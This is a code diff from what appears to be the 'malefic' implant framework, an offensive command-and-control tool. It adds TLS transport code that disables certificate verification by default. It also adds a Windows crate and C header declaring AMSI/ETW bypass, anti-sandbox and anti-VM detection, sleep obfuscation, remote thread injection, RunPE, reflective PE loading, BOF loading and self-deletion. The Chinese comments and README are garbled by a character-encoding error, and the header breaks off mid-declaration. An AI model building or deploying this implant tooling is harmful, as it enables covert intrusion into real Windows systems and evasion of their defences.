-265,7 +292,6 @@ async fn try_compile_time_proxy(target: &str) -> Option { } } -/// 检查是å¦åº”è¯¥è·³è¿‡ä»£ç† #[cfg(feature = "proxy")] fn should_skip_proxy(target: &str) -> bool { if let Ok(no_proxy) = env::var("NO_PROXY") { @@ -273,29 +299,20 @@ fn should_skip_proxy(target: &str) -> bool { &target[..colon_pos] } else { target - }.to_lowercase(); - + } + .to_lowercase(); for no_proxy_item in no_proxy.split(',') { let item = no_proxy_item.trim().to_lowercase(); if item.is_empty() { continue; } - - // å®Œå…¨åŒ¹é… if target_host == item { - debug!("[tcp] Target {} matches NO_PROXY: {}", target, item); return true; } - - // 域ååŽç¼€åŒ¹é… if item.starts_with('.') && target_host.ends_with(&item) { - debug!("[tcp] Target {} matches NO_PROXY suffix: {}", target, item); return true; } - - // localhost ç‰¹æ®Šå¤„ç† if item == "localhost" && (target_host == "localhost" || target_host == "127.0.0.1") { - debug!("[tcp] Target {} is localhost, skipping proxy", target); return true; } } @@ -304,10 +321,9 @@ fn should_skip_proxy(target: &str) -> bool { } #[cfg(feature = "bind")] -use crate::transport::ListenerExt; +use crate::ListenerExt; #[cfg(feature = "bind")] use async_net::TcpListener; -use crate::config::ServerConfig; #[cfg(feature = "bind")] pub struct TCPListenerExt { @@ -324,6 +340,6 @@ impl ListenerExt for TCPListenerExt { async fn accept(&mut self) -> Result { let (stream, _addr) = self.listener.accept().await?; - Ok(TCPTransport::new(stream)) + Ok(TCPTransport::new_plain(stream)) } } diff --git a/malefic-crates/transport/src/tcp/native_tls.rs b/malefic-crates/transport/src/tcp/native_tls.rs new file mode 100644 index 0000000..df41604 --- /dev/null +++ b/malefic-crates/transport/src/tcp/native_tls.rs @@ -0,0 +1,67 @@ +use anyhow::Result; +use async_native_tls::TlsConnector; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug, Clone)] +pub struct NativeTlsConfig { + pub server_name: String, + pub skip_verification: bool, +} + +impl Default for NativeTlsConfig { + fn default() -> Self { + Self { + server_name: String::new(), + skip_verification: true, + } + } +} + +impl NativeTlsConfig { + pub fn new() -> Self { + Self::default() + } + + pub fn with_server_name>(mut self, name: S) -> Self { + self.server_name = name.into(); + self + } +} + +pub struct NativeTlsConnectorBuilder { + config: NativeTlsConfig, +} + +impl NativeTlsConnectorBuilder { + pub fn new(config: NativeTlsConfig) -> Self { + Self { config } + } + + pub fn build(self) -> Result { + debug!( + "[native-tls] Building native TLS connector with config: {:#?}", + self.config + ); + + let mut builder = async_native_tls::TlsConnector::new(); + if self.config.skip_verification { + builder = builder.danger_accept_invalid_certs(true); + builder = builder.danger_accept_invalid_hostnames(true); + } + + Ok(builder) + } +} + +pub fn build_native_tls_config(config: ServerConfig) -> NativeTlsConfig { + debug!("address: {}", config.address); + let tls_config = config.tls_config.as_ref().unwrap(); + + let mut ntls_config = NativeTlsConfig::new(); + ntls_config = ntls_config.with_server_name(tls_config.sni.clone()); + ntls_config.skip_verification = true; + + ntls_config +} diff --git a/malefic-crates/transport/src/tcp/tls.rs b/malefic-crates/transport/src/tcp/tls.rs new file mode 100644 index 0000000..97152b1 --- /dev/null +++ b/malefic-crates/transport/src/tcp/tls.rs @@ -0,0 +1,337 @@ +use anyhow::Result; +use futures_rustls::TlsConnector; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; +use rustls::crypto::ring::cipher_suite; +use rustls::pki_types::{CertificateDer, PrivateKeyDer, ServerName}; +use rustls::version::{TLS12, TLS13}; +use rustls::{ClientConfig, RootCertStore}; +use std::sync::Arc; + +#[derive(ObfDebug, Clone)] +pub struct TlsConfig { + #[obf(skip)] + pub versions: Vec<&'static rustls::SupportedProtocolVersion>, + pub server_name: String, + #[obf(skip)] + pub cipher_suites: Option>, + pub skip_verification: bool, + #[obf(skip)] + pub client_cert_data: Option<(Vec, Vec)>, + #[obf(skip)] + pub custom_ca: Option>, +} + +impl Default for TlsConfig { + fn default() -> Self { + Self { + versions: vec![&TLS13, &TLS12], + client_cert_data: None, + server_name: String::new(), + cipher_suites: None, + custom_ca: None, + skip_verification: true, + } + } +} + +impl TlsConfig { + pub fn new() -> Self { + Self::default() + } + + pub fn with_versions( + mut self, + versions: Vec<&'static rustls::SupportedProtocolVersion>, + ) -> Self { + self.versions = versions; + self + } + + pub fn tls12_only(mut self) -> Self { + self.versions = vec![&TLS12]; + self + } + pub fn tls13_only(mut self) -> Self { + self.versions = vec![&TLS13]; + self + } + + pub fn with_custom_ca(mut self, ca_cert: Vec) -> Self { + self.custom_ca = Some(ca_cert); + self + } + + pub fn with_client_cert_data(mut self, cert_chain: Vec, private_key: Vec) -> Self { + self.client_cert_data = Some((cert_chain, private_key)); + self + } + + pub fn with_server_name>(mut self, name: S) -> Self { + self.server_name = name.into(); + self + } + + pub fn with_cipher_suites(mut self, suites: Vec) -> Self { + self.cipher_suites = Some(suites); + self + } + + pub fn self_signed(self) -> Self { + Self { + versions: vec![&TLS12, &TLS13], + client_cert_data: None, + server_name: String::new(), + cipher_suites: Some(vec![ + cipher_suite::TLS13_AES_128_GCM_SHA256, + cipher_suite::TLS13_AES_256_GCM_SHA384, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + ]), + custom_ca: None, + skip_verification: true, + } + } + + pub fn standard() -> Self { + Self::default() + } +} + +pub struct TlsConnectorBuilder { + config: TlsConfig, +} + +impl TlsConnectorBuilder { + pub fn new(config: TlsConfig) -> Self { + Self { config } + } + + pub fn build(self) -> Result { + debug!( + "[tls] Building TLS connector with config: {:#?}", + self.config + ); + + let mut root_store = RootCertStore::empty(); + root_store.extend(webpki_roots::TLS_SERVER_ROOTS.iter().cloned()); + + if let Some(ca_cert_data) = &self.config.custom_ca { + let mut reader = ca_cert_data.as_slice(); + for cert in rustls_pemfile::certs(&mut reader) { + match cert { + Ok(c) => { + if let Err(_e) = root_store.add(c) { + debug!("[tls] Failed to add custom CA: {:?}, but continuing", _e); + } else { + debug!("[tls] Custom CA added successfully"); + } + } + Err(_e) => { + debug!("[tls] Failed to parse custom CA cert: {:?}", _e); + } + } + } + } + + let versions = self.config.versions.clone(); + let cipher_suites = match &self.config.cipher_suites { + Some(suites) => suites.clone(), + None => { + let mut suites = Vec::new(); + if versions.contains(&&TLS13) { + suites.extend(vec![ + cipher_suite::TLS13_AES_128_GCM_SHA256, + cipher_suite::TLS13_AES_256_GCM_SHA384, + cipher_suite::TLS13_CHACHA20_POLY1305_SHA256, + ]); + } + if versions.contains(&&TLS12) { + suites.extend(vec![ + cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + ]); + } + suites + } + }; + + let provider = rustls::crypto::CryptoProvider { + cipher_suites, + kx_groups: rustls::crypto::ring::default_provider().kx_groups, + ..rustls::crypto::ring::default_provider() + }; + + let builder = ClientConfig::builder_with_provider(Arc::new(provider)) + .with_protocol_versions(&versions)?; + + let client_config = if self.config.skip_verification { + let builder = builder + .dangerous() + .with_custom_certificate_verifier(Arc::new(NoCertificateVerification)); + match &self.config.client_cert_data { + Some((cert_chain_data, private_key_data)) => { + debug!("[tls] Setting up client certificate for mTLS"); + let (certs, key) = parse_client_cert(cert_chain_data, private_key_data)?; + builder + .with_client_cert_resolver(Arc::new(StaticCertResolver::new(certs, key)?)) + } + None => builder.with_no_client_auth(), + } + } else { + let builder = builder.with_root_certificates(root_store); + match &self.config.client_cert_data { + Some((cert_chain_data, private_key_data)) => { + debug!("[tls] Setting up client certificate for mTLS"); + let (certs, key) = parse_client_cert(cert_chain_data, private_key_data)?; + builder + .with_client_cert_resolver(Arc::new(StaticCertResolver::new(certs, key)?)) + } + None => builder.with_no_client_auth(), + } + }; + + Ok(TlsConnector::from(Arc::new(client_config))) + } +} + +fn parse_client_cert( + cert_chain_data: &[u8], + private_key_data: &[u8], +) -> Result<(Vec>, PrivateKeyDer<'static>)> { + let certs: Vec> = rustls_pemfile::certs(&mut &*cert_chain_data) + .collect::, _>>()?; + + let key = rustls_pemfile::private_key(&mut &*private_key_data)? + .ok_or_else(|| anyhow::anyhow!("No valid private key found"))?; + + Ok((certs, key)) +} + +/// A simple resolver that always returns the same client cert + key. +#[derive(Debug)] +struct StaticCertResolver { + certified_key: Arc, +} + +impl StaticCertResolver { + fn new(certs: Vec>, key: PrivateKeyDer<'static>) -> Result { + let signing_key = rustls::crypto::ring::sign::any_supported_type(&key) + .map_err(|e| anyhow::anyhow!("Unsupported private key type: {}", e))?; + Ok(Self { + certified_key: Arc::new(rustls::sign::CertifiedKey::new(certs, signing_key)), + }) + } +} + +impl rustls::client::ResolvesClientCert for StaticCertResolver { + fn resolve( + &self, + _acceptable_issuers: &[&[u8]], + _sigschemes: &[rustls::SignatureScheme], + ) -> Option> { + Some(self.certified_key.clone()) + } + + fn has_certs(&self) -> bool { + true + } +} + +#[derive(Debug)] +struct NoCertificateVerification; + +impl rustls::client::danger::ServerCertVerifier for NoCertificateVerification { + fn verify_server_cert( + &self, + _end_entity: &CertificateDer<'_>, + _intermediates: &[CertificateDer<'_>], + _server_name: &ServerName<'_>, + _ocsp_response: &[u8], + _now: rustls::pki_types::UnixTime, + ) -> std::result::Result { + Ok(rustls::client::danger::ServerCertVerified::assertion()) + } + + fn verify_tls12_signature( + &self, + _message: &[u8], + _cert: &CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn verify_tls13_signature( + &self, + _message: &[u8], + _cert: &CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn supported_verify_schemes(&self) -> Vec { + vec![ + rustls::SignatureScheme::RSA_PKCS1_SHA256, + rustls::SignatureScheme::RSA_PKCS1_SHA384, + rustls::SignatureScheme::RSA_PKCS1_SHA512, + rustls::SignatureScheme::ECDSA_NISTP256_SHA256, + rustls::SignatureScheme::ECDSA_NISTP384_SHA384, + rustls::SignatureScheme::ECDSA_NISTP521_SHA512, + rustls::SignatureScheme::RSA_PSS_SHA256, + rustls::SignatureScheme::RSA_PSS_SHA384, + rustls::SignatureScheme::RSA_PSS_SHA512, + rustls::SignatureScheme::ED25519, + rustls::SignatureScheme::ED448, + ] + } +} + +pub fn build_tls_config(config: ServerConfig) -> TlsConfig { + debug!("address: {}", config.address); + let tls_config = config.tls_config.as_ref().unwrap(); + + let mut config = match tls_config.version.as_str() { + "1.2" => TlsConfig::new().tls12_only(), + "1.3" => TlsConfig::new().tls13_only(), + _ => TlsConfig::new(), + }; + + config = config.with_server_name(tls_config.sni.clone()); + + // Implant uses skip_verification = true by default (self-signed certs). + // Encryption is always active; certificate chain verification is optional. + config.skip_verification = true; + + // Load server CA if provided (enables optional certificate verification + // when skip_verification is explicitly set to false in config) + if !tls_config.server_ca.is_empty() { + config = config.with_custom_ca(tls_config.server_ca.clone()); + config.skip_verification = tls_config.skip_verification; + } else if let Some(ref mtls) = tls_config.mtls_config { + if mtls.enable && !mtls.server_ca.is_empty() { + config = config.with_custom_ca(mtls.server_ca.clone()); + config.skip_verification = tls_config.skip_verification; + } + } + + // Load mTLS client certificate (for encrypted channel authentication) + if let Some(mtls_config) = &tls_config.mtls_config { + if mtls_config.enable + && !mtls_config.client_cert.is_empty() + && !mtls_config.client_key.is_empty() + { + debug!("[tls] Loading mTLS client certificate"); + config = config.with_client_cert_data( + mtls_config.client_cert.clone(), + mtls_config.client_key.clone(), + ); + } + } + + config +} diff --git a/malefic-crates/win/Cargo.toml b/malefic-crates/win/Cargo.toml new file mode 100644 index 0000000..006aac1 --- /dev/null +++ b/malefic-crates/win/Cargo.toml @@ -0,0 +1,69 @@ +[package] +name = "malefic-os-win" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +source = [] +prebuild = [] +regenerate_binding = ["prebuild"] +community = [] +detour = ["dep:detour"] +bypass = ["detour"] +token = ["pipe"] +reg = [] +pipe = [] +scheduler = [] +service = [] +clr = [] +sleep_obf = [] +wmi = ["dep:thiserror", "dep:windows-core"] + +[dependencies] +anyhow = { workspace = true } +malefic-gateway = { workspace = true } +strum = { workspace = true } +strum_macros = { workspace = true } +malefic-common = { workspace = true } +malefic-process = { workspace = true } +thiserror = { workspace = true, optional = true } +windows-core = { workspace = true, optional = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Security_Authentication_Identity", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_LibraryLoader", + "Win32_System_Diagnostics_Debug", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_Pipes", + "Win32_System_Registry", + "Win32_System_Services", + "Win32_System_Com", + "Win32_System_TaskScheduler", + "Win32_Storage_FileSystem", + "Win32_System_IO", + "Win32_System_SystemServices", + "Win32_System_Environment", + "Win32_System_Wmi", + "Win32_System_Ole", + "Win32_System_Variant", + "Win32_System_Rpc", +] } +detour = { git = "https://github.com/chainreactors/retour-rs", branch = "fix-nightly1.67.0-changes", optional = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time", "sync"] } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Wmi", +] } + +[build-dependencies] +bindgen = { workspace = true } +syn = { workspace = true, features = ["parsing"] } +quote = { workspace = true } diff --git a/malefic-crates/win/README.md b/malefic-crates/win/README.md new file mode 100644 index 0000000..172cec3 --- /dev/null +++ b/malefic-crates/win/README.md @@ -0,0 +1,82 @@ +# malefic-os-win + +Windows å¹³å°ä¸“用工具集,å°è£…了 Windows API 调用,æä¾›ä»¤ç‰Œæ“ä½œã€æ³¨å†Œè¡¨ç®¡ç†ã€ç®¡é“é€šä¿¡ã€æœåŠ¡æŽ§åˆ¶ã€è®¡åˆ’任务ã€WMI 查询ã€å沙箱/å虚拟机检测ã€Sleep 混淆等功能。 + +## 功能简介 + +- **Token æ“作** -- 获å–/å¤åˆ¶è¿›ç¨‹ä»¤ç‰Œã€ææƒåˆ¤æ–­ã€æƒé™å¯ç”¨ã€ä»¤ç‰Œæ¨¡æ‹Ÿã€`RunAs` 执行 +- **注册表管ç†** -- æ”¯æŒæ‰€æœ‰æ ¹é”®ï¼ˆHKLM/HKCU/...),æä¾›é”®å€¼çš„增删改查ã€å­é”®æžšä¸¾ +- **管é“通信** -- 命å管é“(æœåŠ¡ç«¯/客户端)与匿å管é“,用于进程间数æ®ä¼ è¾“ +- **æœåŠ¡ç®¡ç†** -- 创建ã€å¯åЍã€åœæ­¢ã€åˆ é™¤ã€æŸ¥è¯¢ Windows æœåŠ¡åŠæ‰¹é‡æžšä¸¾ +- **计划任务** -- 通过 COM æŽ¥å£æ“作 Task Scheduler,支æŒåˆ›å»ºã€è¿è¡Œã€åœæ­¢ã€åˆ é™¤ã€æŸ¥è¯¢ä»»åŠ¡ +- **WMI 查询** -- 连接 WMI æœåŠ¡ï¼Œæ‰§è¡Œ WQL æŸ¥è¯¢ï¼Œæ”¯æŒæ–¹æ³•è°ƒç”¨ä¸Žç»“æžœè§£æž +- **åæ²™ç®±æ£€æµ‹** -- æ£€æŸ¥è¿›ç¨‹åˆ—è¡¨ã€æ³¨å†Œè¡¨ç‰¹å¾ç­‰æŒ‡æ ‡åˆ¤æ–­æ˜¯å¦è¿è¡Œåœ¨æ²™ç®±çŽ¯å¢ƒä¸­ +- **å虚拟机检测** -- 基于 CPUID 指令识别 VirtualBox/VMware/Hyper-V/QEMU/Xen 等虚拟化框架 +- **Sleep æ··æ·†** -- åœ¨ä¼‘çœ æœŸé—´åŠ å¯†å†…å­˜åŒºåŸŸï¼Œæ”¯æŒ Timer/Wait/Foliage 三ç§ç­–ç•¥ +- **函数 Hook** -- 基于 `detour` 库实现è¿è¡Œæ—¶ API Inline Hook +- **PE 加载** -- åå°„å¼ PE 加载ã€InlinePEã€RunPE åŠç‰ºç‰²è¿›ç¨‹æ‰§è¡Œ +- **BOF 加载** -- 加载并执行 Beacon Object File +- **远程注入** -- 通过 CreateRemoteThread å‘ç›®æ ‡è¿›ç¨‹æ³¨å…¥ä»£ç  +- **Bypass** -- AMSI/ETW 等安全机制绕过(需å¯ç”¨ `bypass` feature) + +## Features + +| Feature | 说明 | +|----------------|------| +| `source` | 使用æºç ç¼–译 `malefic-win-kit`(默认使用预编译库) | +| `prebuild` | 使用预编译的 `malefic-win-kit` 陿€åº“ | +| `community` | 社区版功能集 | +| `professional` | 专业版功能集 | +| `detour` | å¯ç”¨å‡½æ•° Hook(Inline Hookï¼‰æ”¯æŒ | +| `bypass` | å¯ç”¨ AMSI/ETW 绕过,éšå«å¯ç”¨ `detour` | +| `token` | å¯ç”¨ä»¤ç‰Œæ“ä½œæ¨¡å— | +| `reg` | å¯ç”¨æ³¨å†Œè¡¨æ“ä½œæ¨¡å— | +| `pipe` | å¯ç”¨ç®¡é“é€šä¿¡æ¨¡å— | +| `scheduler` | å¯ç”¨è®¡åˆ’ä»»åŠ¡ç®¡ç†æ¨¡å— | +| `service` | å¯ç”¨æœåŠ¡ç®¡ç†æ¨¡å— | +| `anti_sandbox` | å¯ç”¨å沙箱检测 | +| `anti_vm` | å¯ç”¨å虚拟机检测 | +| `clr` | å¯ç”¨ CLR(.NET è¿è¡Œæ—¶ï¼‰åŠ è½½ | +| `sleep_obf` | å¯ç”¨ Sleep 混淆(休眠期间内存加密) | +| `wmi` | å¯ç”¨ WMI 查询与方法调用 | + +## 基本用法 + +### 令牌æ“作 + +```rust +use malefic_os_win::token; + +// 判断当å‰è¿›ç¨‹æ˜¯å¦å…·æœ‰ç®¡ç†å‘˜æƒé™ +let elevated = token::is_privilege()?; + +// å¯ç”¨æŒ‡å®šæƒé™ +token::enable_privilege("SeDebugPrivilege")?; + +// 模拟指定进程的令牌 +let handle = token::impersonate_process(pid)?; +``` + +### 注册表读写 + +```rust +use malefic_os_win::reg::{RegistryHive, RegistryKey, RegistryValue}; + +let key = RegistryKey::open(RegistryHive::LocalMachine, r"SOFTWARE\MyApp")?; +let val = key.query_value("Version")?; +key.set_value("NewKey", RegistryValue::String("hello".into()))?; +``` + +### Sleep æ··æ·† + +```rust +use malefic_os_win::sleep::{obf_sleep, Obfuscation, ObfMode}; + +// 休眠 5 秒,期间使用 Timer 策略加密指定内存区域 +obf_sleep(base_ptr, region_size, 5, Obfuscation::Timer, ObfMode::Heap); +``` + +## å‚考链接 + +- [windows-rs](https://github.com/microsoft/windows-rs) -- Rust 官方 Windows API 绑定 +- [retour-rs](https://github.com/chainreactors/retour-rs) -- Inline Hook 库(detour fork) diff --git a/malefic-crates/win/build.rs b/malefic-crates/win/build.rs new file mode 100644 index 0000000..6b17488 --- /dev/null +++ b/malefic-crates/win/build.rs @@ -0,0 +1,193 @@ +#![allow(unused_imports)] +use std::{env, fs, path::PathBuf}; + +fn main() { + #[cfg(feature = "regenerate_binding")] + { + let bindings = bindgen::Builder::default() + .header("malefic_win_kit.h") + .clang_arg("-Wno-unused-function") + .generate() + .expect("Unable to generate bindings"); + + bindings + .write_to_file("src/kit/binding/binding.rs") + .expect("Couldn't write bindings!"); + } + + // Always: parse binding.rs (committed) with syn → ffi_dispatch.rs + generate_ffi_dispatch(); + + #[cfg(feature = "prebuild")] + link_prebuilt_lib(); +} + +/// Parse src/kit/binding/binding.rs with syn, emit ffi_dispatcher! calls +fn generate_ffi_dispatch() { + let binding_path = "src/kit/binding/binding.rs"; + println!("cargo:rerun-if-changed={binding_path}"); + + let src = fs::read_to_string(binding_path) + .expect("cannot read binding.rs — run with prebuild first to generate it"); + let file = syn::parse_file(&src).expect("syn failed to parse binding.rs"); + + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + let mut out = String::from("// Auto-generated from binding.rs by build.rs — do not edit\n\n"); + + for item in &file.items { + if let syn::Item::ForeignMod(fm) = item { + for fi in &fm.items { + if let syn::ForeignItem::Fn(f) = fi { + let name = f.sig.ident.to_string(); + // Skip compiler intrinsics / system functions + if name.starts_with('_') { + continue; + } + emit_fn_from_sig(&f.sig, &mut out); + } + } + } + } + + fs::write(out_dir.join("ffi_dispatch.rs"), &out).expect("write ffi_dispatch.rs"); +} + +fn emit_fn_from_sig(sig: &syn::Signature, out: &mut String) { + let name = &sig.ident; + + // Collect params + let params: Vec = sig + .inputs + .iter() + .map(|arg| { + if let syn::FnArg::Typed(pat_type) = arg { + let pname = pat_type.pat.to_token_string(); + let pty = normalize_type(&pat_type.ty); + format!("{pname}: {pty}") + } else { + String::new() + } + }) + .filter(|s| !s.is_empty()) + .collect(); + let params_str = params.join(", "); + + // Return type + let ret = match &sig.output { + syn::ReturnType::Default => None, + syn::ReturnType::Type(_, ty) => Some(normalize_type(ty)), + }; + + // Check if return type is RawString (macro has special arm) + match &ret { + None => out.push_str(&format!("ffi_dispatcher!(fn {name}({params_str}));\n")), + Some(r) if r == "RawString" => { + out.push_str(&format!( + "ffi_dispatcher!(fn {name}({params_str}) -> RawString);\n" + )); + } + Some(r) => { + out.push_str(&format!( + "ffi_dispatcher!(fn {name}({params_str}) -> {r});\n" + )); + } + } +} + +/// Convert syn::Type to a clean string, normalizing bindgen paths +fn normalize_type(ty: &syn::Type) -> String { + let raw = ty.to_token_string(); + raw.replace(":: std :: os :: raw :: c_void", "core::ffi::c_void") + .replace("::std::os::raw::c_void", "core::ffi::c_void") + .replace(":: std :: os :: raw :: c_char", "core::ffi::c_char") + .replace("::std::os::raw::c_char", "core::ffi::c_char") + .replace(":: std :: os :: raw :: c_ushort", "u16") + .replace("::std::os::raw::c_ushort", "u16") + // Clean up extra spaces from token stream + .replace(" ,", ",") +} + +/// Helper: convert syn token tree to string +trait ToTokenString { + fn to_token_string(&self) -> String; +} + +impl ToTokenString for syn::Type { + fn to_token_string(&self) -> String { + use std::fmt::Write; + let tokens = quote::quote!(#self); + tokens.to_string() + } +} + +impl ToTokenString for syn::Pat { + fn to_token_string(&self) -> String { + let tokens = quote::quote!(#self); + tokens.to_string() + } +} + +#[cfg(feature = "prebuild")] +fn link_prebuilt_lib() { + if env::var("CARGO_CFG_TARGET_OS").unwrap() != "windows" { + return; + } + let (prefix, suffix, destination) = match env::var("CARGO_CFG_TARGET_ENV").unwrap().as_str() { + "msvc" => ( + "malefic-win-kit-community-msvc".to_string(), + ".lib", + "malefic_win_kit.lib", + ), + _ => { + let pulse = if env::var("CARGO_FEATURE_PULSE").is_ok() { + "-pulse" + } else { + "" + }; + ( + format!("libmalefic-win-kit-community{pulse}-gnu"), + ".a", + "libmalefic_win_kit.a", + ) + } + }; + + let arch = if env::var("CARGO_CFG_TARGET_ARCH").unwrap() == "x86" { + "x32" + } else { + "x64" + }; + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let resources = manifest_dir + .parent() + .and_then(|p| p.parent()) + .map(|p| p.join("resources")) + .filter(|p| p.exists()) + .or_else(|| { + manifest_dir + .parent() + .and_then(|p| p.parent()) + .and_then(|p| p.parent()) + .map(|p| p.join("resources")) + .filter(|p| p.exists()) + }) + .expect("resources directory not found near malefic-crates/win"); + let ollvm = if resources.join("ollvm-flags").exists() { + "-ollvm" + } else { + "" + }; + + let lib_name = format!("{prefix}-{arch}{ollvm}{suffix}"); + let source_path = resources.join(&lib_name); + if !source_path.exists() { + panic!("Source file not found: {}", source_path.display()); + } + + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + fs::copy(&source_path, out_dir.join(destination)) + .expect(&format!("Failed to copy {}", source_path.display())); + + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static=malefic_win_kit"); +} diff --git a/malefic-crates/win/malefic_win_kit.h b/malefic-crates/win/malefic_win_kit.h new file mode 100644 index 0000000..b7c6bbd --- /dev/null +++ b/malefic-crates/win/malefic_win_kit.h @@ -0,0 +1,338 @@ +#ifndef MALEFIC_WIN_KIT_H +#define MALEFIC_WIN_KIT_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// 对应 Rust 中的 RawString +typedef struct RawString { + uint8_t *data; // 指å‘字符串缓冲区 + size_t len; // 实际长度 + size_t capacity; // 容é‡ï¼ˆä¸€èˆ¬ä¸Žå†…部分é…空间有关) +} RawString; + +// 对应 Rust 中 pub struct MaleficPipe +typedef struct MaleficPipe { + const void *read; + const void *write; +} MaleficPipe; + +// 对应 Rust 中 pub struct DarkModule +typedef struct DarkModule { + const void *module_base; +} DarkModule; + +// 函数定义 + +RawString ApcLoaderInline( + const uint8_t *bin, + size_t bin_len, + bool need_output, + uint32_t loader_type +); + +RawString ApcLoaderSacriface( + const uint8_t *bin, + size_t bin_len, + char *sacrifice_commandline, + uint32_t ppid, + bool block_dll, + bool need_output +); + +void DeleteSelf( + const uint8_t * stream, + uint32_t stream_len +); + +RawString InjectRemoteThread( + const uint8_t *bin, + size_t bin_len, + uint32_t pid +); + +const void* MaleficLoadLibrary( + uint32_t flags, + const uint16_t *buffer, + const void *file_buffer, + size_t len, + const uint8_t *name +); + +const void* MaleficGetFuncAddrWithModuleBaseDefault( + const void *module_base, + const uint8_t *func_name, + size_t func_name_len +); + +RawString ReflectiveLoader( + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *reflective_loader_name, + size_t reflective_loader_name_len, + const uint8_t *data, + size_t data_len, + const uint8_t *param, + size_t param_len, + uint32_t ppid, + bool block_dll, + uint32_t timeout, + bool is_need_output +); + +RawString InlinePE( + const uint8_t *bin, + size_t bin_size, + const uint16_t *magic, + const uint32_t *signature, + const uint8_t *commandline, + size_t commandline_len, + const uint8_t *entrypoint, + size_t entrypoint_len, + bool is_dll, + bool is_need_output, + uint32_t timeout, + uint32_t delay +); + +RawString RunPE( + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *hijack_commandline, + size_t hijack_commandline_len, + const uint8_t *data, + size_t data_size, + const uint8_t *entrypoint, + size_t entrypoint_len, + const uint8_t *args, + size_t args_len, + bool is_x86, + uint32_t pid, + bool block_dll, + bool need_output +); + +RawString RunSacrifice( + uint8_t *application_name, + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *hijack_commandline, + size_t hijack_commandline_len, + uint32_t parent_id, + bool need_output, + bool block_dll +); + +RawString MaleficExecAssembleInMemory( + const uint8_t *data, + size_t data_len, + const uint8_t *const *args, + size_t args_len +); + +RawString MaleficBofLoader( + const uint8_t *buffer, + size_t buffer_len, + const uint8_t *const *arguments, + size_t arguments_size, + const uint8_t *entrypoint_name +); + +uint8_t HijackCommandLine( + const uint8_t *commandline, + size_t commandline_len +); + +RawString MaleficPwshExecCommand( + const uint8_t *command, + size_t command_len +); + +const void* PELoader( + const void *handle, + const void *base_addr, + size_t size, + bool need_modify_magic, + bool need_modify_sign, + uint16_t magic, + uint32_t signature +); + +void UnloadPE(const void *module); + +// ============================================================ +// Core Memory APIs +// ============================================================ + +void* MVirtualAlloc(void *ptr, size_t size, uint32_t flags, uint32_t protect); +void* MVirtualAllocEx(const void *handle, void *ptr, size_t size, uint32_t flags, uint32_t protect); +bool MVirtualProtect(void *ptr, size_t size, uint32_t new_protect, uint32_t *old_protect); +bool MVirtualProtectEx(const void *handle, void *ptr, size_t size, uint32_t new_protect, uint32_t *old_protect); +bool MWriteProcessMemory(const void *handle, void *ptr, const void *data, size_t len); +bool MReadProcessMemory(const void *handle, void *ptr, void *data, size_t len); +int32_t MNtAllocateVirtualMemory(const void *handle, void **ptr, size_t *size, uint32_t allocation_type, uint32_t protect); +int32_t MNtWriteVirtualMemory(const void *handle, void *ptr, const void *data, size_t len); +int32_t MNtProtectVirtualMemory(const void *handle, void **ptr, size_t *size, uint32_t new_protect, uint32_t *old_protect); +int32_t MNtCreateSection(void **section_handle, size_t *size, uint32_t protect, uint32_t flags); +int32_t MNtMapViewOfSection(void **section_handle, const void *handle, void **ptr, size_t *size, uint32_t flags, uint32_t protect); +void* MHeapAlloc(size_t size, uint32_t flags); +void MRtlFillMemory(void *Destination, size_t Length, uint8_t Fill); + +// ============================================================ +// Core Process APIs +// ============================================================ + +void* MOpenProcess(uint32_t dwDesiredAccess, int32_t bInheritHandle, uint32_t dwProcessId); +bool MCreateProcessA( + const int8_t *lpApplicationName, + int8_t *lpCommandLine, + void *lpProcessAttributes, + void *lpThreadAttributes, + int32_t bInheritHandles, + uint32_t dwCreationFlags, + void *lpEnvironment, + const int8_t *lpCurrentDirectory, + void *lpStartupInfo, + void *lpProcessInformation +); +void* MGetCurrentProcess(void); +uint32_t MGetCurrentProcessId(void); +void* MGetCurrentThread(void); +bool MTerminateProcess(void *hProcess, uint32_t uExitCode); + +// ============================================================ +// Core Thread APIs +// ============================================================ + +void* MCreateThread( + void *lpThreadAttributes, + uint32_t dwStackSize, + void *lpStartAddress, + void *lpParameter, + uint32_t dwCreationFlags, + uint32_t *lpThreadId +); +void* MCreateRemoteThread( + void *hProcess, + void *lpThreadAttributes, + uint32_t dwStackSize, + void *lpStartAddress, + void *lpParameter, + uint32_t dwCreationFlags, + uint32_t *lpThreadId +); +int32_t MNtCreateThreadEx( + void *thread_handle, + uint32_t desired_access, + void *object_attributes, + void *process_handle, + void *start_address, + void *start_parameter, + int32_t create_suspended, + uint32_t stack_zero_bits, + uint32_t size_of_stack_commit, + uint32_t size_of_stack_reserve, + void *attribute_list +); +void* 